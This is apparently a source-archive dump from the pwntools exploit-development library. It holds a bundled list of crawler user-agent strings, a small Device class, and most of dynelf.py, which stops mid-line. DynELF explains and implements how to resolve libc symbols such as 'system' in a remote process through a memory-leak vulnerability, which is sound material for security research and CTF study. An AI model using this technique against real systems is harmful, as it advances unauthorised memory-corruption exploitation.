htdig/3.1.6 (unconfigured@htdig.searchengine.maintainer) htdig/3.1.x (root@localhost) http://Anonymouse.org/ (Unix) http://Ask.24x.Info/ (http://narres.it/) http://OzySoftware.com/Index.html http://hilfe.acont.de/bot.html ACONTBOT http://www.almaden.ibm.com/cs/crawler http://www.almaden.ibm.com/cs/crawler [wf84] http://www.almaden.ibm.com/cs/crawler [rc1.wf.ibm.com] http://www.almaden.ibm.com/cs/crawler [wf216] http://www.ip2location.com http://www.istarthere.com_spider@istarthere.com http://www.mabontland.com http://www.monogol.de http://www.timelyweb.com/ http://www.trendtech.dk/spider.asp) httpunit/1.5 httpunit/1.x i1searchbot/2.0 (i1search web crawler; http://www.i1search.com; crawler@i1search.com) iCCrawler (http://www.iccenter.net) iCCrawler (http://www.iccenter.net/bot.htm) iCab/2.5.2 (Macintosh; I; PPC) iCab/2.9.1 (Macintosh; U; PPC) iCab/2.9.5 (Macintosh; U; PPC; Mac OS X) iCab/2.9.7 (Macintosh; U; PPC) iCab/2.9.8 (Macintosh; U; 68K) iCab/2.9.9 (Macintosh; U; 68K) iCab/3.0.2 (Macintosh; U; PPC Mac OS X) iCab/3.0.2 (Macintosh; U; PPC Mac OS) iCab/3.0.5 (Macintosh; U; PPC Mac OS X) iCab/3.0.5 (Macintosh; U; PPC Mac OS) iCab/4.0 (Windows; U; Windows NT 6.0; en-gb) iCab/4.0 (Macintosh; U; Intel Mac OS X) iCab/4.5 (Macintosh; U; Intel Mac OS X) iCab/4.5 (Macintosh; U; Mac OS X Leopard 10.5.7) iCab/4.5 (Macintosh; U; Mac OS X Leopard 10.5.8) iCab/4.5 (Macintosh; U; PPC Mac OS X) iCab/4.6 (Macintosh; U; Mac OS X Leopard 10.5.7) iCab/4.7 (Macintosh; U; Intel Mac OS X) iCab/4.7 (Macintosh; U; PPC Mac OS X) iCab/5.0 (Macintosh; U; PPC Mac OS X) iFeed.jp/2.0 (www.psychedelix.com/agents/agents.rss; 0 subscribers) iGetter/1.x (Macintosh;G;PPC) iGetter/2 (Macintosh; U; PPC Mac OS X; en) iSiloX/4.xx Windows/32 iTunes/4.0 (Macintosh; U; PPC Mac OS X 10.2) iTunes/4.2 (Macintosh; U; PPC Mac OS X 10.2) iTunes/4.7 (Macintosh; N; PPC) iTunes/4.7 (Macintosh; U; PPC Mac OS X 10.2) iTunes/4.8 (Macintosh; U; PPC Mac OS X 10.4.1) iTunes/7.0 (Macintosh; U; PPC Mac OS X 10.4.7) iTunes/7.0.1 (Windows; N) iTunes/7.1.1 (Macintosh; N; PPC) iTunes/7.4.1 iTunes/7.5 (Macintosh; N; PPC) iTunes/7.6.2.9 iTunes/8.0 iTunes/8.1 iTunes/8.1.1 (Windows; N) iTunes/8.1.1 (Windows; U) iTunes/8.2 (Macintosh; U; PPC Mac OS X 10_5_6) iTunes/9.0 iTunes/9.0 (Macintosh; Intel Mac OS X 10.5.8) iTunes/9.0 (Macintosh; Intel Mac OS X 10.5.8) AppleWebKit/531.9 iTunes/9.0.2 (Windows; N) iTunes/9.0.3 iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca) iTunes/9.1.1 iTunes/x.x.x iVia Page Fetcher (http://ivia.ucr.edu/useragents.shtml) iVia/4.0 CanonizeUrl (http://infomine.ucr.edu/iVia/useragents.shtml ia_archiver ia_archiver-web.archive.org ia_archiver/1.6 ia_archiver/8.0 (Windows 2.4; en-US;) ia_archiver/8.1 (Windows 2000 1.9; en-US;) ia_archiver/8.2 (Windows 7.6; en-US;) ia_archiver/8.8 (Windows XP 3.0; en-US;) ia_archiver/8.8 (Windows XP 7.2; en-US;) ia_archiver/8.9 (Linux 1.0; en-US;) ia_archiver/8.9 (Windows 3.9; en-US;) ia_archiver/8.9 (Windows NT 3.1; en-US;) iaskspider iaskspider/2.0(+http://iask.com/help/help_index.html) iaskspider2 (iask@staff.sina.com.cn) ichiro ichiro/2.0 (http://help.goo.ne.jp/door/crawler.html) ichiro/2.0 (ichiro@nttr.co.jp) ichiro/2.0+(http://help.goo.ne.jp/door/crawler.html) ichiro/3.0 (http://help.goo.ne.jp/door/crawler.html) ichiro/4.0 (http://help.goo.ne.jp/door/crawler.html) ichiro/x.0 (http://help.goo.ne.jp/door/crawler.html) ichiro/x.0 (ichiro@nttr.co.jp) icsbot-0.1 ideare - SignSite/1.x iearthworm/1.0, iearthworm@yahoo.com.cn igdeSpyder (compatible; igde.ru; +http://igde.ru/doc/tech.html) ilial/Nutch-0.9 (Ilial, Inc. is a Los Angeles based Internet startup company. For more information please visit http://www.ilial.com/crawler; http://www.ilial.com/crawler; crawl@ilial.com) ilial/Nutch-0.9-dev iltrovatore-setaccio/1.2-dev (spidering; http://www.iltrovatore.it/aiuto/.....) info@pubblisito.com- (http://www.pubblisito.com) il Sud dei Motori di Ricerca infoConveraCrawler/0.8 ( http://www.authoritativeweb.com/crawl) integrity/1.6 intraVnews/1.x isurf (tszhu@canada.com) itunes/9.0.2 (Macintosh; Intel Mac OS X 10.4.11) AppleWebKit/531.21.8 jBrowser/J2ME Profile/MIDP-1.0 Configuration/CLDC-1.0 (Google WAP Proxy/1.0) k2spider kalooga/KaloogaBot (Kalooga; http://www.kalooga.com/info.html?page=crawler; crawler@kalooga.com) kalooga/kalooga-4.0-dev-datahouse (Kalooga; http://www.kalooga.com; info@kalooga.com) kinja-imagebot (http://www.kinja.com/) kinjabot (http://www.kinja.com) kuloko-bot/0.x kulokobot www.kuloko.com kuloko@backweave.com kulturarw3/0.1 lanshanbot/1.0 lanshanbot/1.0 (+http://search.msn.com/msnbot.htm) larbin (samualt9@bigfoot.com) larbin_2.1.1 larbin2.1.1@somewhere.com larbin_2.2.0 (crawl@compete.com) larbin_2.2.1_de_Viennot (Laurent.Viennot@inria.fr) larbin_2.2.2 (sugayama@lab7.kuis.kyoto-u.ac.jp) larbin_2.2.2_guillaume (guillaume@liafa.jussieu.fr) larbin_2.5.0 (larbin2.5.0@unspecified.mail) larbin_2.6.0 (larbin2.6.0@unspecified.mail) larbin_2.6.1 (larbin2.6.1@unspecified.mail) larbin_2.6.1 larbin2.6.1@unspecified.mail larbin_2.6.2 (hamasaki@grad.nii.ac.jp) larbin_2.6.2 (larbin2.6.2@unspecified.mail) larbin_2.6.2 (larbin@correa.org) larbin_2.6.2 (listonATccDOTgatechDOTedu) larbin_2.6.2 (pierre@micro-fun.ch) larbin_2.6.2 (pimenas@systems.tuc.gr) larbin_2.6.2 (tom@lemurconsulting.com) larbin_2.6.2 (vitalbox1@hotmail.com) larbin_2.6.2 dthunen@princeton.edu larbin_2.6.2 kalou@kalou.net larbin_2.6.2 larbin2.6.2@unspecified.mail larbin_2.6.2 larbin@correa.org larbin_2.6.2 listonATccDOTgatechDOTedu larbin_2.6.2 pierre@micro-fun.ch larbin_2.6.2 vitalbox1@hotmail.com larbin_2.6.3 (larbin2.6.3@unspecified.mail) larbin_2.6.3 (larbin@behner.org) larbin_2.6.3 (ltaa_web_crawler@groupes.epfl.ch) larbin_2.6.3 (wgao@genieknows.com) larbin_2.6.3 capveg@cs.umd.edu larbin_2.6.3 ghary@sohu.com larbin_2.6.3 gqnmgsp@ruc.edu.cn larbin_2.6.3 larbin2.6.3@unspecified.mail larbin_2.6.3 ltaa_web_crawler@groupes.epfl.ch larbin_2.6.3 tangyi858@163.com larbin_2.6.3 zumesun@hotmail.com larbin_2.6.3_for_(http://cosco.hiit.fi/search/) tsilande@hiit.fi larbin_2.6_basileocaml (basile.starynkevitch@cea.fr) larbin_devel (http://pauillac.inria.fr/~ailleret/prog/larbin/) larbin_test (nobody@airmail.etn) larbin_test nobody@airmail.etn larbin_xy250 larbin2.6.3@unspecified.mail lawinfo-crawler/Nutch-0.9-dev (Crawler for lawinfo.com pages; http://www.lawinfo.com; webmaster@lawinfo.com) lc/$ROADS::Version libwww-perl/5.00 lcabotAccept: */* ldspider (http://code.google.com/p/ldspider/wiki/Robots) lftp/4.3.5 lftp/4.3.8 libWeb/clsHTTP -- hiongun@kt.co.kr libcurl-agent/1.0 libwww-perl/5.36 libwww-perl/5.41 libwww-perl/5.45 libwww-perl/5.48 libwww-perl/5.50 libwww-perl/5.52 FP/2.1 libwww-perl/5.52 FP/4.0 libwww-perl/5.53 libwww-perl/5.63 libwww-perl/5.64 libwww-perl/5.65 libwww-perl/5.69 libwww-perl/5.75 libwww-perl/5.76 libwww-perl/5.800 libwww-perl/5.800 (+http://passoire.afraid.org/mylittlewebsurvey/index.html) libwww-perl/5.803 libwww-perl/5.805 libwww-perl/5.808 libwww-perl/5.814 libwww-perl/5.816 libwww-perl/5.820 libwww-perl/5.821 libwww/5.3.2 link_check3.plx libwww-perl/5.65 linkbot linknzbot lmspider (lmspider@scansoft.com) lmspider lmspider@scansoft.com luchs.at URL checker lwp-trivial/1.32 lwp-trivial/1.33 lwp-trivial/1.34 lwp-trivial/1.35 lwp-trivial/1.36 lwp-trivial/1.38 lwp-trivial/1.41 magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net) mailto:webcraft@bea.com mammoth/1.0 ( http://www.sli-systems.com/) maxomobot/dev-20051201 (maxomo; http://67.102.134.34:4047/MAXOMO/MAXOMObot.html; maxomobot@maxomo.com) metatagsdir/0.7 (+http://metatagsdir.com/directory/) miniRank/1.6 (Website ranking; www.minirank.com; robot) minibot moget/x.x (moget@goo.ne.jp) mogimogi/1.0 moiNAG 0.02 monkeyagent more information mozDex/0.xx-dev (mozDex; http://www.mozdex.com/en/bot.html; spider@mozdex.com) mozilla/3.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/5.0.1 mozilla/5.0 (compatible; genevabot http://www.healthdash.com) mozilla/5.0 (compatible; heritrix/1.0.4 http://innovationblog.com) mozilla/5.0 (compatible; heritrix/1.3.0 http://archive.crawler.org) msnbot-Products/1.0 (+http://search.msn.com/msnbot.htm) msnbot-media/1.0 (+http://search.msn.com/msnbot.htm) msnbot-media/1.1 ( http://search.msn.com/msnbot.htm) msnbot/0.11 ( http://search.msn.com/msnbot.htm) msnbot/0.9 (+http://search.msn.com/msnbot.htm) msnbot/1.0 ( http://search.msn.com/msnbot.htm) msnbot/1.0 (+http://search.msn.com/msnbot.htm) msnbot/1.1 msnbot/1.1 ( http://search.msn.com/msnbot.htm) msnbot/1.1 (+http://search.msn.com/msnbot.htm) msnbot/2.0b msnbot/2.1 msnbot/x.xx ( http://search.msn.com/msnbot.htm) multiBlocker browser multicrawler ( http://sw.deri.org/2006/04/multicrawler/robots.html) myDaemon mylinkcheck/1.02 nabot_1.0 naoFavicon4IE/1.xx newsearchengine (ThisUser@unspecified.mail) nicebot nook browser/1.0 noxtrumbot/1.0 (crawler@noxtrum.com) noyona_0_1 nsyght.com/Nutch-1.0-dev (nsyght.com; Nsyght.com) nsyght.com/Nutch-x.x (nsyght.com; search.nsyght.com) nttdirectory_robot/0.9 (super-robot@super.navi.ocn.ne.jp) nuSearch Spider (compatible; MSIE 4.01; Windows NT) nuSearch Spider www.nusearch.com (compatible; MSIE 4.01) nutchsearch/Nutch-0.9 (Nutch Search 1.0; herceg_novi at yahoo dot com) oBot ((compatible;Win32)) obidos-bot (just looking for books.) oegp v. 1.3.0 omgilibot/0.3 http://www.omgili.com/Crawler.html omgilibot/0.3 +http://www.omgili.com/Crawler.html omgilibot/0.4 +http://omgili.com onCHECK Linkchecker von www.scientec.de fuer www.onsinn.de onCHECK-Robot, www.onsearch.de online link validator (http://www.dead-links.com/) ozelot/2.7.3 (Search engine indexer; www.flying-cat.de/ozelot; ozelot@flying-cat.de) page_verifier (http://www.securecomputing.com/goto/pv) parallelContextFocusCrawler1.1parallelContextFocusCrawler1.1 pavuk/0.9pl29b i686-pc-linux-gnu pd02_1.0.0 pd02_1.0.0@dzimi@post.sk pipeLiner/0.3a (PipeLine Spider;http://www.pipeline-search.com/webmaster.html; webmaster'at'pipeline-search.com) pipeLiner/0.xx (PipeLine Spider; http://www.pipeline-search.com/webmaster.html) please let me know plinki/0.1 (you got plinked! (thats a good thing..); http://www.plinki.com; crawl@plinki.com) polybot 1.0 (http://cis.poly.edu/polybot/) portalmmm/2.0 N410i(c20;TB) portalmmm/2.0 S500i(c20;TB) potbot 1.0 psbot/0.1 (+http://www.picsearch.com/bot.html) psycheclone puf/0.91beta6a (Linux 2.2.18; i686) puf/0.93.2a (Linux 2.4.18; i686) pulseBot (pulse Web Miner) pxyscand/2.1 rabaz (rabaz at gigabaz dot com) radian6_default_(www.radian6.com/crawler) ramBot xtreme x.x reciprocal links checker (http://www.recip-links.com/) retawq/0.2.6c [en] (text) rico/0.1 sait/Nutch-0.9 (SAIT Research; http://www.samsung.com) savvybot/0.2 schwarzmann.biz-Spider_for_paddel.org+(http://www.innerprise.net/usp-spider.asp) scooter-venus-3.0.vns scoutmaster search.ch V1.4 search.ch V1.4.2 (spiderman@search.ch; http://www.search.ch) searchbot admin@google.com semaforo.net semanticdiscovery/0.1 semanticdiscovery/0.x silk/1.0 silk/1.0 (+http://www.slider.com/silk.htm)/3.7 sitecheck.internetseer.com sitecheck.internetseer.com (For more info see: http://sitecheck.internetseer.com) smartwit.com sna-0.0.1 (mikemuzio@msn.com) sna-0.0.1 mikeelliott@hotmail.com snap.com beta crawler v0 sogou develop spider sogou spider sohu agent sohu-search speedfind ramBot xtreme 8.1 spider.batsch.com spider.yellopet.com - www.yellopet.com sportsuchmaschine.de-Robot (Version: 1.02- powered by www.sportsuchmaschine.de) sproose/0.1-alpha (sproose crawler; http://www.sproose.com/bot.html; crawler@sproose.com) squidclam stat statcrawler@gmail.com suchbaer.de suchbaer.de (CrawlerAgent v0.103) suchbot suchpadbot/1.0 (+http://www.suchpad.de) suzuran swbot/0.9c libwww/5.3.1 tags2dir.com/0.8 (+http://tags2dir.com/directory/) targetblaster.com/0.9k teoma_agent1 teomaagent crawler-admin@teoma.com teomaagent1 [crawler-admin@teoma.com] terraminds-bot/1.0 (support@terraminds.de) thumbshots-de-Bot (Version: 1.02, powered by www.thumbshots.de) thumbshots-de-Bot (Version: 1.02- powered by www.thumbshots.de) timboBot/0.9 http://www.breakingblogs.com/timbo_bot.html tivraSpider/1.0 (crawler@tivra.com) toCrawl/UrlDispatcher traazibot/testengine (+http://www.traazi.de) tricosMetaCheck 1.2216-08-1999 (http://www.tricos.com/metacheck) truwoGPS/1.0 (GNU/Linux; U; i686; en-US; +http://www.lan4lano.net/browser.html ) uTorrent/1500 unknownght.com Web Server IIS vs Apache Survey. See Results at www.DNSRight.com updated/0.1-alpha (updated crawler; http://www.updated.com; crawler@updated.com) updated/0.1-beta (updated; http://www.updated.com; updated@updated.com) updated/0.1beta (updated.com; http://www.updated.com; crawler@updated.om) urlfan-bot/1.0; +http://www.urlfan.com/site/bot/350.html user-agent=Mozilla/3.01Gold uzbl (Webkit 1.1.10) (Linux 2.6.30-ARCH) uzbl (Webkit 1.1.9) (Linux 2.6.29-ARCH) uzbl (Webkit 1.1.9) (Linux 2.6.30-ARCH) vb wininet versus 0.2 (+http://versus.integis.ch) versus crawler eda.baykan@epfl.ch verzamelgids.nl - Networking4all Bot/x.x virus_detector (virus_harvester@securecomputing.com) voyager-hc/1.0 voyager/1.0 voyager/2.0 (http://www.kosmix.com/crawler.html) voyager/2.0 (http://www.kosmix.com/html/crawler.html) vspider vspider/3.x w3m/0.1.9 w3m/0.2.1 w3m/0.5.1 w3m/0.5.1+cvs-1.968 w3m/0.5.2 w3m/0.5.2 (Debian-3.0.6-3) w3m/0.5.2 (Linux i686; en; Debian-3.0.6-3) w3m/0.5.2 (Linux i686; it; Debian-3.0.6-3) w3m/0.52 w3m/0.x.xx wadaino.jp-crawler 0.2 (http://wadaino.jp/) web-bekannt (Version: 1.02, powered by www.internetservice-franken.de) web-bekannt (Version: 1.02, powered by www.web-bekannt.de) web2express.org/Nutch-0.9-dev (leveled playing field; http://web2express.org/; info at web2express.org) webGobbler/1.x.x webbandit/4.xx.0 webcollage/1.114 webcollage/1.117 webcollage/1.125 webcollage/1.129 webcollage/1.93 webcollage/1.xx webcrawl.net webfetch/5.x.x webhack webmeasurement-bot, http://rvs.informatik.uni-leipzig.de webster-internet.de pad browser wget whatUseek_winona/3.0 wii libnup/1.0 wish-project (http://wish.slis.tsukuba.ac.jp/) worio heritrix bot (+http://worio.com/) woriobot ( http://www.worio.com/) wume_crawler/1.1 (http://wume.cse.lehigh.edu/~xiq204/crawler/) www.arianna.it www.business-socket.com registry verify/1.x www.doweb.co.uk crawler www4mail/2.x libwww-FM/2.14 (Unix; I) wwwster/1.x (Beta- mailto:gue@cis.uni-muenchen.de) wxDownload Fast xine/1.0 xirq/0.1-beta (xirq; http://www.xirq.com; xirq@xirq.com) xyro_(xcrawler@cosmos.inria.fr) yacy (i386 Linux 2.4.20-021stab028.17.777-enterprise; java 1.4.2_08; Europe/en) yacy.net yacy (i386 Linux 2.6.14-1.1653_FC4smp; java 1.5.0_04; Europe/de) yacy.net yacy (www.yacy.net; v20040602; i386 Linux 2.4.26-gentoo-r13; java 1.4.2_06; MET/en) yacybot (amd64 Linux 2.6.16-2-amd64-k8-smp; java 1.5.0_10; Europe/en) http://yacy.net/yacy/bot.html yacybot (amd64 Linux 2.6.28-18-generic; java 1.6.0_0; Europe/en) http://yacy.net/bot.html yacybot (amd64 Windows 7 6.1; java 1.6.0_17; Europe/de) http://yacy.net/bot.html yacybot (i386 Linux 2.6.22-14-generic; java 1.6.0_03; Europe/de) http://yacy.net/bot.html yacybot (i386 Linux 2.6.23; java 1.6.0_04; Europe/en) http://yacy.net/bot.html yacybot (i386 Linux 2.6.23; java 1.6.0_17; Europe/en) http://yacy.net/bot.html yacybot (i386 Linux 2.6.24-23-generic; java 1.6.0_16; Europe/en) http://yacy.net/bot.html yacybot (i386 Linux 2.6.24-24-generic; java 1.6.0_07; Europe/en) http://yacy.net/bot.html yacybot (i386 Linux 2.6.24-28-generic; java 1.6.0_20; Europe/en) http://yacy.net/bot.html yacybot (i386 Linux 2.6.26-2-686; java 1.6.0_0; Europe/en) http://yacy.net/bot.html yacybot (i386 Linux 2.6.31-16-generic; java 1.6.0_15; Europe/en) http://yacy.net/bot.html yacybot (i386 Linux 2.6.8-022stab070.5-enterprise; java 1.4.2-03; Europe/en) yacy.net yacybot (i386 Linux 2.6.9-023stab046.2-smp; java 1.6.0_05; Europe/en) http://yacy.net/bot.html yacybot (i386 Mac OS X 10.5.7; java 1.5.0_16; Europe/de) http://yacy.net/bot.html yacybot (ppc Mac OS X 10.4.10; java 1.5.0_07; Europe/de) http://yacy.net/bot.html yacybot (ppc Mac OS X 10.5.2; java 1.5.0_13; Europe/de) http://yacy.net/bot.html yacybot (x86 Windows 2000 5.0; java 1.6.0_16; Europe/de) http://yacy.net/bot.html yacybot (x86 Windows XP 5.1; java 1.5.0_06; Europe/de) yacy.net yacybot (x86 Windows XP 5.1; java 1.6.0; Europe/de) http://yacy.net/yacy/bot.html yacybot (x86 Windows XP 5.1; java 1.6.0_11; Europe/de) http://yacy.net/bot.html yacybot (x86 Windows XP 5.1; java 1.6.0_12; Europe/de) http://yacy.net/bot.html yarienavoir.net/0.2 yggdrasil/Nutch-0.9 (yggdrasil biorelated search engine; www dot biotec dot tu minus dresden do de slash schroeder; heiko dot dietze at biotec dot tu minus dresden dot de) yoofind/yoofind-0.1-dev (yoono webcrawler; http://www.yoono.com ; MyEmail) yoogliFetchAgent/0.1 yoono/1.0 web-crawler/1.0 zedzo.digest/0.1 (http://www.zedzo.com/) zermelo Mozilla/5.0 compatible; heritrix/1.12.1 (+http://www.powerset.com) [email:crawl@powerset.com,email:paul@page-store.com] zerxbot/Version 0.6 libwww-perl/5.79 zspider/0.9-dev http://feedback.redkolibri.com/ Gallopsled-pwntools-3ad86ec/pwnlib/device.py000066400000000000000000000004761507273764500213150ustar00rootroot00000000000000 class Device(object): arch = None bits = None endian = None serial = None os = None def __init__(self, serial=None): self.serial = serial def __str__(self): return self.serial def __eq__(self, other): return self.serial == other or self.serial == str(other) Gallopsled-pwntools-3ad86ec/pwnlib/dynelf.py000066400000000000000000001072031507273764500213330ustar00rootroot00000000000000""" Resolve symbols in loaded, dynamically-linked ELF binaries. Given a function which can leak data at an arbitrary address, any symbol in any loaded library can be resolved. Example ^^^^^^^^ :: # Assume a process or remote connection p = process('./pwnme') # Declare a function that takes a single address, and # leaks at least one byte at that address. def leak(address): data = p.read(address, 4) log.debug("%#x => %s", address, enhex(data or '')) return data # For the sake of this example, let's say that we # have any of these pointers. One is a pointer into # the target binary, the other two are pointers into libc main = 0xfeedf4ce libc = 0xdeadb000 system = 0xdeadbeef # With our leaker, and a pointer into our target binary, # we can resolve the address of anything. # # We do not actually need to have a copy of the target # binary for this to work. d = DynELF(leak, main) assert d.lookup(None, 'libc') == libc assert d.lookup('system', 'libc') == system # However, if we *do* have a copy of the target binary, # we can speed up some of the steps. d = DynELF(leak, main, elf=ELF('./pwnme')) assert d.lookup(None, 'libc') == libc assert d.lookup('system', 'libc') == system # Alternately, we can resolve symbols inside another library, # given a pointer into it. d = DynELF(leak, libc + 0x1234) assert d.lookup('system') == system DynELF """ from __future__ import absolute_import from __future__ import division import ctypes from elftools.elf.enums import ENUM_D_TAG from pwnlib import elf from pwnlib import libcdb from pwnlib.context import context from pwnlib.elf import ELF from pwnlib.elf import constants from pwnlib.log import getLogger from pwnlib.memleak import MemLeak from pwnlib.util.fiddling import enhex from pwnlib.util.packing import _need_bytes log = getLogger(__name__) sizeof = ctypes.sizeof def sysv_hash(symbol): """sysv_hash(str) -> int Function used to generate SYSV-style hashes for strings. """ h = 0 g = 0 for c in bytearray(_need_bytes(symbol, 4, 0x80)): h = (h << 4) + c g = h & 0xf0000000 h ^= (g >> 24) h &= ~g return h & 0xffffffff def gnu_hash(s): """gnu_hash(str) -> int Function used to generated GNU-style hashes for strings. """ s = bytearray(_need_bytes(s, 4, 0x80)) h = 5381 for c in s: h = h * 33 + c return h & 0xffffffff class DynELF(object): ''' DynELF knows how to resolve symbols in remote processes via an infoleak or memleak vulnerability encapsulated by :class:`pwnlib.memleak.MemLeak`. Implementation Details: Resolving Functions: In all ELFs which export symbols for importing by other libraries, (e.g. ``libc.so``) there are a series of tables which give exported symbol names, exported symbol addresses, and the ``hash`` of those exported symbols. By applying a hash function to the name of the desired symbol (e.g., ``'printf'``), it can be located in the hash table. Its location in the hash table provides an index into the string name table (strtab_), and the symbol address (symtab_). Assuming we have the base address of ``libc.so``, the way to resolve the address of ``printf`` is to locate the ``symtab``, ``strtab``, and hash table. The string ``"printf"`` is hashed according to the style of the hash table (SYSV_ or GNU_), and the hash table is walked until a matching entry is located. We can verify an exact match by checking the string table, and then get the offset into ``libc.so`` from the ``symtab``. Resolving Library Addresses: If we have a pointer into a dynamically-linked executable, we can leverage an internal linker structure called the `link map`_. This is a linked list structure which contains information about each loaded library, including its full path and base address. A pointer to the ``link map`` can be found in two ways. Both are referenced from entries in the DYNAMIC_ array. - In non-RELRO binaries, a pointer is placed in the `.got.plt`_ area in the binary. This is marked by finding the DT_PLTGOT_ area in the binary. - In all binaries, a pointer can be found in the area described by the DT_DEBUG_ area. This exists even in stripped binaries. For maximum flexibility, both mechanisms are used exhaustively. .. _symtab: https://refspecs.linuxbase.org/elf/gabi4+/ch4.symtab.html .. _strtab: https://refspecs.linuxbase.org/elf/gabi4+/ch4.strtab.html .. _.got.plt: https://refspecs.linuxbase.org/LSB_3.1.1/LSB-Core-generic/LSB-Core-generic/specialsections.html .. _DYNAMIC: http://www.sco.com/developers/gabi/latest/ch5.dynamic.html#dynamic_section .. _SYSV: https://refspecs.linuxbase.org/elf/gabi4+/ch5.dynamic.html#hash .. _GNU: https://blogs.oracle.com/solaris/post/gnu-hash-elf-sections .. _DT_DEBUG: https://reverseengineering.stackexchange.com/questions/6525/elf-link-map-when-linked-as-relro .. _link map: https://sourceware.org/git/?p=glibc.git;a=blob;f=elf/link.h;h=eaca8028e45a859ac280301a6e955a14eed1b887;hb=HEAD#l84 .. _DT_PLTGOT: https://refspecs.linuxfoundation.org/ELF/zSeries/lzsabi0_zSeries/x2251.html ''' def __init__(self, leak, pointer=None, elf=None, libcdb=True): ''' Instantiates an object which can resolve symbols in a running binary given a :class:`pwnlib.memleak.MemLeak` leaker and a pointer inside the binary. Arguments: leak(MemLeak): Instance of pwnlib.memleak.MemLeak for leaking memory pointer(int): A pointer into a loaded ELF file elf(str,ELF): Path to the ELF file on disk, or a loaded :class:`pwnlib.elf.ELF`. libcdb(bool): Attempt to use libcdb to speed up libc lookups ''' self.libcdb = libcdb self._elfclass = None self._elftype = None self._link_map = None self._waitfor = None self._bases = {} self._dynamic = None self.elf = None if elf: path = elf if isinstance(elf, ELF): path = elf.path # Load a fresh copy of the ELF with context.local(log_level='error'): w = self.waitfor("Loading from %r" % path) self.elf = ELF(path) w.success("[LOADED]") if not (pointer or (elf and elf.address)): log.error("Must specify either a pointer into a module and/or an ELF file with a valid base address") pointer = pointer or elf.address if not isinstance(leak, MemLeak): leak = MemLeak(leak) if not elf: log.warn_once("No ELF provided. Leaking is much faster if you have a copy of the ELF being leaked.") self.leak = leak self.libbase = self._find_base(pointer or elf.address) if elf: self._elftype = self.elf.elftype self._elfclass = self.elf.elfclass self.elf.address = self.libbase self._dynamic = self.elf.get_section_by_name('.dynamic').header.sh_addr self._dynamic = self._make_absolute_ptr(self._dynamic) @classmethod def for_one_lib_only(cls, leak, ptr): return cls(leak, ptr) @classmethod def from_lib_ptr(cls, leak, ptr): return cls(leak, ptr) @staticmethod def find_base(leak, ptr): """Given a :class:`pwnlib.memleak.MemLeak` object and a pointer into a library, find its base address. """ return DynELF(leak, ptr).libbase @property def elfclass(self): """32 or 64""" if not self._elfclass: elfclass = self.leak.field(self.libbase, elf.Elf_eident.EI_CLASS) self._elfclass = {constants.ELFCLASS32: 32, constants.ELFCLASS64: 64}[elfclass] return self._elfclass @property def elftype(self): """e_type from the elf header. In practice the value will almost always be 'EXEC' or 'DYN'. If the value is architecture-specific (between ET_LOPROC and ET_HIPROC) or invalid, KeyError is raised. """ if not self._elftype: Ehdr = {32: elf.Elf32_Ehdr, 64: elf.Elf64_Ehdr}[self.elfclass] elftype = self.leak.field(self.libbase, Ehdr.e_type) self._elftype = {constants.ET_NONE: 'NONE', constants.ET_REL: 'REL', constants.ET_EXEC: 'EXEC', constants.ET_DYN: 'DYN', constants.ET_CORE: 'CORE'}[elftype] return self._elftype @property def link_map(self): """Pointer to the runtime link_map object""" if not self._link_map: self._link_map = self._find_linkmap() return self._link_map @property def dynamic(self): """ Returns: Pointer to the ``.DYNAMIC`` area. """ if not self._dynamic: self._dynamic = self._find_dynamic_phdr() return self._dynamic def _find_base(self, ptr): page_size = 0x1000 page_mask = ~(page_size - 1) ptr &= page_mask w = None while True: if self.leak.compare(ptr, b'\x7fELF'): break # See if we can short circuit the search fast = self._find_base_optimized(ptr) if fast: ptr = fast continue ptr -= page_size if ptr < 0: raise ValueError("Address is negative, something is wrong!") # Defer creating the spinner in the event that 'ptr' # is already the base address w = w or self.waitfor("Finding base address") self.status('%#x' % ptr) # If we created a spinner, print the success message if w: self.success('%#x' % ptr) return ptr def _find_base_optimized(self, ptr): if not self.elf: return None # If we have an ELF< we can probably speed this up a little bit? # Note that we add +0x20 onto the offset in order to avoid needing # to leak any bytes which contain '\r\n\t\b ' ptr += 0x20 data = self.leak.n(ptr, 32) if not data: return None # Do not permit multiple matches matches = list(self.elf.search(data)) if len(matches) != 1: return None candidate = matches[0] candidate -= self.elf.address # The match should have the same page-alignment as our leaked data. if candidate & 0xfff != 0x20: return None # Adjust based on the original pointer we got, and the ELF's address. ptr -= candidate return ptr def _find_dynamic_phdr(self): """ Returns the address of the first Program Header with the type PT_DYNAMIC. """ leak = self.leak base = self.libbase #First find PT_DYNAMIC Ehdr = {32: elf.Elf32_Ehdr, 64: elf.Elf64_Ehdr}[self.elfclass] Phdr = {32: elf.Elf32_Phdr, 64: elf.Elf64_Phdr}[self.elfclass] self.status("PT_DYNAMIC") phead = base + leak.field(base, Ehdr.e_phoff) self.status("PT_DYNAMIC header = %#x" % phead) phnum = leak.field(base, Ehdr.e_phnum) self.status("PT_DYNAMIC count = %#x" % phnum) for i in range(phnum): if leak.field_compare(phead, Phdr.p_type, constants.PT_DYNAMIC): break phead += sizeof(Phdr) else: self.failure("Could not find Program Header of type PT_DYNAMIC") return None dynamic = leak.field(phead, Phdr.p_vaddr) self.status("PT_DYNAMIC @ %#x" % dynamic) dynamic = self._make_absolute_ptr(dynamic) return dynamic def _find_dt_optimized(self, name): """ Find an entry in the DYNAMIC array through an ELF Arguments: name(str): Name of the tag to find ('DT_DEBUG', 'DT_PLTGOT', ...) Returns: Pointer to the data described by the specified entry. """ if not self.elf: return None ptr = self.elf.dynamic_value_by_tag(name) if ptr: ptr = self._make_absolute_ptr(ptr) self.success("Found %s at %#x" % (name, ptr)) return ptr return None def _find_dt(self, tag): """ Find an entry in the DYNAMIC array. Arguments: tag(int): Single tag to find Returns: Pointer to the data described by the specified entry. """ base = self.libbase dynamic = self.dynamic leak = self.leak name = next(k for k,v in ENUM_D_TAG.items() if v == tag) # Read directly from the ELF if possible ptr = self._find_dt_optimized(name) if ptr: return ptr Dyn = {32: elf.Elf32_Dyn, 64: elf.Elf64_Dyn} [self.elfclass] # Found the _DYNAMIC program header, now find PLTGOT entry in it # An entry with a DT_NULL tag marks the end of the DYNAMIC array. while not leak.field_compare(dynamic, Dyn.d_tag, constants.DT_NULL): if leak.field_compare(dynamic, Dyn.d_tag, tag): break dynamic += sizeof(Dyn) else: self.failure("Could not find tag %s" % name) return None ptr = leak.field(dynamic, Dyn.d_ptr) ptr = 